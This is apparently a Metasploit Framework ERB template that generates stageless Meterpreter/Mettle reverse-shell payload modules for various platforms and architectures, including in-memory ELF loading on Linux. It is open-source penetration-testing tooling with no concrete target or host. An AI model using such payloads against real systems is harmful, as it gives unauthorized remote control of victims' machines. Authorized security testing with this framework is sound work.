##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


# Module generated by tools/modules/generate_mettle_payloads.rb
module MetasploitModule
  include Msf::Payload::Single
  include Msf::Sessions::MeterpreterOptions::<%= platform.split('_').each { |s| s.casecmp?('osx') ? 'OSX' : s.capitalize! }.join %>
  include Msf::Sessions::MettleConfig
  <% if platform.downcase == 'linux' && !['armbe', 'ppc64le', 'ppc', 'ppce500v2', 's390x'].include?(arch.downcase) %>include Msf::Payload::Linux::<%= arch.capitalize %>::ElfLoader<% end %>
  <% if platform.downcase == 'linux' %>include Msf::Payload::Linux::<%= arch.capitalize %>::Prepends<% end %>

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'          => '<%= platform %> Meterpreter, Reverse <%= scheme.upcase %> Inline',
        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
        'Author'        => [
          'Adam Cammack <adam_cammack[at]rapid7.com>',
          'Brent Cook <brent_cook[at]rapid7.com>',
          'timwr'
        ],
        'Platform'      => '<%= platform.downcase %>',
        'Arch'          => ARCH_<%= arch.upcase %>,
        'License'       => MSF_LICENSE,
        'Handler'       => Msf::Handler::Reverse<%= scheme.capitalize %>,
        'Session'       => Msf::Sessions::Meterpreter_<%= arch %>_<%= platform %>
      )
    )
  end

  def generate(_opts = {})
    opts = {
      scheme: '<%= scheme %>',
      stageless: true
    }.merge(mettle_logging_config)
    payload = MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec
    <% if platform.downcase == 'linux' && !['armbe', 'ppc64le', 'ppc', 'ppce500v2', 's390x'].include?(arch.downcase) %>ds = opts[:datastore] || datastore
    if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17')
      return payload
    end
    in_memory_load(payload) + payload<% else %>
    payload<% end %>
  end
end
